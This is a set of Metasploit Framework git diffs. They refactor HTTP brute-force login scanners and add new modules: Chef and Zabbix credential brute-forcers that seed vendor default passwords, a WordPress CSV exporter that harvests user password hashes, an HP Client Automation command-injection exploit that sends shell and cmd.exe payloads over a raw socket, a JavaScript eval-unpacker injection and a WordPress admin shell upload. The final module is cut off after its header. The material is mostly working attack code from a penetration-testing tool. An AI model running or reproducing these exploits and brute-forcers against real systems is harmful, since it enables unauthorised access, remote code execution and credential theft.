normalize_uri(wordpress_url_plugins, 'wp-ultimate-csv-importer')
end
def exporter_url
normalize_uri(plugin_url, 'modules', 'export', 'templates', 'export.php')
end
def check
check_plugin_version_from_readme('wp-ultimate-csv-importer', '3.6.7' '3.6.0')
end
def process_row(row)
if row[:user_login] && row[:user_pass]
print_good("#{peer} - Found credential: #{row[:user_login]}:#{row[:user_pass]}")
credential_data = {
origin_type: :service,
module_fullname: fullname,
private_type: :nonreplayable_hash,
address: ::Rex::Socket.getaddress(rhost, true),
port: rport,
protocol: 'tcp',
service_name: ssl ? 'https' : 'http',
username: row[:user_login],
private_data: row[:user_pass],
workspace_id: myworkspace_id
}
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(credential_data)
create_credential_login(login_data)
end
end
def parse_csv(body, delimiter)
begin
CSV::Converters[:blank_to_nil] = lambda do |field|
field && field.empty? ? nil : field
end
csv = CSV.new(body, :col_sep => delimiter, :headers => true, :header_converters => :symbol, :converters => [:all, :blank_to_nil])
csv.to_a.map { |row| process_row(row) }
return true
rescue
return false
end
end
def run
print_status("#{peer} - Requesting CSV extract...")
res = send_request_cgi(
'method' => 'POST',
'uri' => exporter_url,
'vars_post' => { 'export' => 'users' }
)
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
print_status("#{peer} - Parsing response...")
unless parse_csv(res.body, ',')
unless parse_csv(res.body, ';')
fail_with("#{peer} - Failed to parse response, the CSV was invalid")
end
end
store_path = store_loot('wordpress.users.export', 'csv', datastore['RHOST'], res.body, 'users_export.csv', 'WordPress User Table Extract')
print_good("#{peer} - CSV saved to #{store_path}")
end
end

View File

@ -75,16 +75,13 @@ class Metasploit3 < Msf::Auxiliary
end
scanner = Metasploit::Framework::LoginScanner::HTTP.new(
host: ip,
port: rport,
configure_http_login_scanner(
uri: "/stop",
proxies: datastore["PROXIES"],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
framework: framework,
framework_module: self,
)
)
scanner.scan! do |result|

View File

@ -79,18 +79,13 @@ class Metasploit3 < Msf::Auxiliary
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::Axis2.new(
host: ip,
port: rport,
uri: uri,
proxies: proxies,
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
user_agent: datastore['UserAgent'],
vhost: datastore['VHOST'],
framework: framework,
framework_module: self,
configure_http_login_scanner(
uri: uri,
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
)
)
scanner.scan! do |result|

View File

@ -34,27 +34,22 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
scanner = Metasploit::Framework::LoginScanner::Buffalo.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 10,
user_agent: datastore['UserAgent'],
vhost: datastore['VHOST'],
framework: framework,
framework_module: self,
configure_http_login_scanner(
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 10
)
)
scanner.scan! do |result|

View File

@ -0,0 +1,155 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/chef_webui'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Chef Web UI Brute Force Utility',
'Description' => %q{
This module attempts to login to Chef Web UI server instance using username and password
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It
will also test for the default login (admin:p@ssw0rd1).
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']),
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]),
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
], self.class)
end
#
# main
#
def run_host(ip)
init_loginscanner(ip)
msg = @scanner.check_setup
if msg
print_brute :level => :error, :ip => rhost, :msg => msg
return
end
print_brute :level=>:status, :ip=>rhost, :msg=>("Found Chef Web UI application at #{datastore['TARGETURI']}")
bruteforce(ip)
end
def bruteforce(ip)
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
:abort
when Metasploit::Model::Login::Status::INCORRECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
end
end
end
def do_report(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: result.status
}.merge(service_data)
create_credential_login(login_data)
end
def init_loginscanner(ip)
@cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
# Always try the default first
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1')
)
@scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new(
configure_http_login_scanner(
uri: datastore['TARGETURI'],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
)
)
end
end

View File

@ -52,11 +52,6 @@ class Metasploit3 < Msf::Auxiliary
# the LoginScanner class so the authentication can proceed properly
#
# Overrides the ssl method from HttpClient
def ssl
@scanner.ssl || datastore['SSL']
end
#
# For a while, older versions of Glassfish didn't need to set a password for admin,
# but looks like no longer the case anymore, which means this method is getting useless
@ -95,19 +90,13 @@ class Metasploit3 < Msf::Auxiliary
)
@scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
host: ip,
port: rport,
proxies: datastore["PROXIES"],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
framework: framework,
framework_module: self,
configure_http_login_scanner(
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
)
)
@scanner.ssl = datastore['SSL']
@scanner.ssl_version = datastore['SSLVERSION']
end
def do_report(ip, port, result)

View File

@ -32,6 +32,12 @@ class Metasploit3 < Msf::Auxiliary
'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt")
}
))
register_advanced_options([
OptString.new('LOGIN_URL', [true, 'The URL that handles the login process', '/proxy/ssllogin']),
OptString.new('CPQLOGIN', [true, 'The homepage of the login', '/cpqlogin.htm']),
OptString.new('LOGIN_REDIRECT', [true, 'The URL to redirect to', '/cpqlogin'])
], self.class)
end
def get_version(res)
@ -76,20 +82,14 @@ class Metasploit3 < Msf::Auxiliary
)
@scanner = Metasploit::Framework::LoginScanner::Smh.new(
host: ip,
port: rport,
uri: datastore['URI'],
proxies: datastore["PROXIES"],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
framework: framework,
framework_module: self,
configure_http_login_scanner(
uri: datastore['LOGIN_URL'],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
)
)
@scanner.ssl = datastore['SSL']
@scanner.ssl_version = datastore['SSLVERSION']
end
def do_report(ip, port, result)
@ -163,10 +163,10 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
res = send_request_cgi({
'uri' => '/cpqlogin.htm',
'uri' => datastore['CPQLOGIN'],
'method' => 'GET',
'vars_get' => {
'RedirectUrl' => '/cpqlogin',
'RedirectUrl' => datastore['LOGIN_REDIRECT'],
'RedirectQueryString' => ''
}
})

View File

@ -22,10 +22,6 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'HTTP Login Utility',
'Description' => 'This module attempts to authenticate to an HTTP service.',
'References' =>
[
],
'Author' => [ 'hdm' ],
'References' =>
[
@ -74,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary
/auth/
/manager/
/Management.asp
/ews/
}
end
@ -153,19 +150,14 @@ class Metasploit3 < Msf::Auxiliary
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::HTTP.new(
host: ip,
port: rport,
uri: @uri,
method: datastore['REQUESTTYPE'],
proxies: datastore["PROXIES"],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
user_agent: datastore['UserAgent'],
vhost: datastore['VHOST'],
framework: framework,
framework_module: self,
configure_http_login_scanner(
uri: @uri,
method: datastore['REQUESTTYPE'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
)
)
msg = scanner.check_setup

View File

@ -38,18 +38,13 @@ class Metasploit3 < Msf::Auxiliary
)
scanner = Metasploit::Framework::LoginScanner::IPBoard.new(
host: ip,
port: rport,
configure_http_login_scanner(
uri: normalize_uri(target_uri.path),
proxies: datastore["PROXIES"],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
user_agent: datastore['UserAgent'],
vhost: datastore['VHOST'],
framework: framework,
framework_module: self,
connection_timeout: 5
)
)
scanner.scan! do |result|

View File

@ -33,27 +33,22 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
scanner = Metasploit::Framework::LoginScanner::Jenkins.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 10,
user_agent: datastore['UserAgent'],
vhost: datastore['VHOST'],
framework: framework,
framework_module: self,
configure_http_login_scanner(
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 10
)
)
scanner.scan! do |result|

View File

@ -55,24 +55,14 @@ class Metasploit3 < Msf::Auxiliary
)
scanner = Metasploit::Framework::LoginScanner::MyBookLive.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 10,
user_agent: datastore['UserAgent'],
vhost: datastore['VHOST'],
framework: framework,
framework_module: self,
configure_http_login_scanner(
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 10,
)
)
if ssl
scanner.ssl = datastore['SSL']
scanner.ssl_version = datastore['SSLVERSION']
end
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(

View File

@ -154,24 +154,30 @@ class Metasploit3 < Msf::Auxiliary
}
})
if not res or res.code != 303
if not res
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' returned no response")
return :skip_pass
end
unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}'))
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
return :skip_pass
else
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'splunk-web',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
return :next_user
end
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'splunk-web',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
return :next_user
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("HTTP Connection Failed, Aborting")
return :abort

View File

@ -94,29 +94,24 @@ class Metasploit3 < Msf::Auxiliary
end
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
)
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::Tomcat.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
configure_http_login_scanner(
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 10,
user_agent: datastore['UserAgent'],
vhost: datastore['VHOST'],
framework: framework,
framework_module: self,
connection_timeout: 10
)
)
scanner.scan! do |result|

View File

@ -64,16 +64,13 @@ class Metasploit3 < Msf::Auxiliary
)
scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new(
host: ip,
port: rport,
configure_http_login_scanner(
uri: wordpress_url_xmlrpc,
proxies: datastore["PROXIES"],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
framework: framework,
framework_module: self,
)
)
scanner.scan! do |result|

View File

@ -0,0 +1,176 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/zabbix'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Zabbix Server Brute Force Utility',
'Description' => %q{
This module attempts to login to Zabbix server instance using username and password
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It
will also test for the Zabbix default login (Admin:zabbix) and guest access.
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The path to the Zabbix server application', '/zabbix/']),
OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
], self.class)
end
#
# main
#
def run_host(ip)
init_loginscanner(ip)
msg = @scanner.check_setup
if msg
print_brute :level => :error, :ip => rhost, :msg => msg
return
end
print_brute :level=>:status, :ip=>rhost, :msg=>("Found Zabbix version #{@scanner.version}")
if is_guest_mode_enabled?
print_brute :level => :good, :ip => ip, :msg => "Note: This Zabbix instance has Guest mode enabled"
else
print_brute :level=>:status, :ip=>rhost, :msg=>("Zabbix has disabled Guest mode")
end
bruteforce(ip)
end
def bruteforce(ip)
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
:abort
when Metasploit::Model::Login::Status::INCORRECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
end
end
end
def do_report(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: result.status
}.merge(service_data)
create_credential_login(login_data)
end
def init_loginscanner(ip)
@cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
# Always try the default first
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(public: 'Admin', private: 'zabbix')
)
@scanner = Metasploit::Framework::LoginScanner::Zabbix.new(
configure_http_login_scanner(
uri: datastore['TARGETURI'],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
)
)
end
#
# From the documentation:
#
# "In case of five consecutive failed login attempts, Zabbix interface will pause for 30
# seconds in order to prevent brute force and dictionary attacks."
#
# Zabbix enables a Guest mode by default that allows access to the dashboard without auth
def is_guest_mode_enabled?
dashboard_uri = normalize_uri(datastore['TARGETURI'] + '/' + 'dashboard.php')
res = send_request_cgi({'uri'=>dashboard_uri})
!! (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: Dashboard<\/title>/)
end
end

View File

@ -0,0 +1,47 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::JSObfu
def initialize(info = {})
super(update_info(info,
'Name' => 'Javascript Injection for Eval-based Unpackers',
'Description' => %q{
This module generates a Javascript file that executes arbitrary code
when an eval-based unpacker is run on it. Works against js-beautify's
P_A_C_K_E_R unpacker.
},
'Author' => [ 'joev' ],
'License' => MSF_LICENSE,
'References' =>
[
],
'Platform' => 'nodejs',
'Arch' => ARCH_NODEJS,
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Feb 18 2015',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [true, 'The file name.', 'msf.js']),
OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.'])
], self.class)
end
def exploit
p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded);
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))")
end
end

View File

@ -104,7 +104,7 @@ class Metasploit3 < Msf::Exploit::Remote
return Exploit::CheckCode::Safe
end
connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
unless is_rmi?
return Exploit::CheckCode::Unknown
end
@ -136,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
end
connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
end

View File

@ -0,0 +1,131 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Client Automation Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability on HP Client Automation, distributed
actually as Persistent Systems Client Automation. The vulnerability exists in the Notify
Daemon (radexecd.exe), which doesn't authenticate execution requests by default.
This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP2
and CentOS 5.
},
'Author' =>
[
'Ben Turner', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2015-1497'],
['ZDI', '15-038'],
['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features']
],
'Privileged' => true,
'Platform' => %w{ unix win },
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Payload' => {'DisableNops' => true},
'Targets' =>
[
[ 'HP Client Automation 9.0.0 / Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 466,
'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'openssl telnet generic gawk'
},
'BadChars' => "\x27"
}
}
],
[ 'HP Client Automation 9.0.0 / Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 02 2014'))
register_options(
[
Opt::RPORT(3465)
], self.class)
deregister_options('CMDSTAGER::FLAVOR')
deregister_options('CMDSTAGER::DECODER')
end
def check
connect
sock.put("\x00") # port
sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
sock.put("hide\x00") # command
res = sock.get_once
disconnect
if res && res.unpack('C')[0] == 0
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
case target['Platform']
when 'win'
print_status('Exploiting Windows target...')
execute_cmdstager({:flavor => :vbs, :linemax => 290})
when 'unix'
print_status('Exploiting Linux target...')
exploit_unix
else
fail_with(Failure::NoTarget, 'Invalid target')
end
end
def exploit_unix
connect
sock.put("\x00") # port
sock.put("0\x00") # user ID
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected
disconnect
end
def execute_command(cmd, opts = {})
connect
sock.put("\x00") # port
sock.put("S-1-5-18\x00") # user ID
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected
res = sock.get_once
disconnect
unless res && res.unpack('C')[0] == 0
fail_with(Failure::Unknown, "Something failed executing the stager...")
end
end
end

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Admin Shell Upload',
'Description' => %q{
This module will generate a plugin, pack the payload into it
and upload it to a server running WordPress providing valid
admin credentials are used.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'DisclosureDate' => 'Feb 21 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
], self.class)
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def generate_plugin(plugin_name, payload_name)
plugin_script = %Q{<?php
/**
* Plugin Name: #{plugin_name}
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
* Author: #{Rex::Text.rand_text_alpha(10)}
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
* License: GPL2
*/
?>}
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
zip
end
def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("#{peer} - Authenticated with WordPress")
print_status("#{peer} - Preparing payload...")
plugin_name = Rex::Text.rand_text_alpha(10)
payload_name = "#{Rex::Text.rand_text_alpha(10)}"
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)
print_status("#{peer} - Uploading payload...")
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded
print_status("#{peer} - Executing the payload at #{payload_uri}...")
register_files_for_cleanup("#{payload_name}.php")
register_files_for_cleanup("#{plugin_name}.php")
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
end

View File

@ -0,0 +1,86 @@
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'socket'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Holding Pattern Theme Arbitrary File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in all versions of the
Holding Pattern theme found in the upload_file.php script which contains
no session or file validation. It allows unauthenticated users to upload
files of any type and subsequently execute PHP scripts in the context of
the web server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Borg', # Vulnerability disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'References' =>
[
['CVE', '2015-1172'],
['WPVDB', '7784'],
['URL', 'http://packetstormsecurity.com/files/130282/WordPress-Holding-Pattern-0.6-Shell-Upload.html']
],
'DisclosureDate' => 'Feb 11 2015',
'Platform' => 'php',
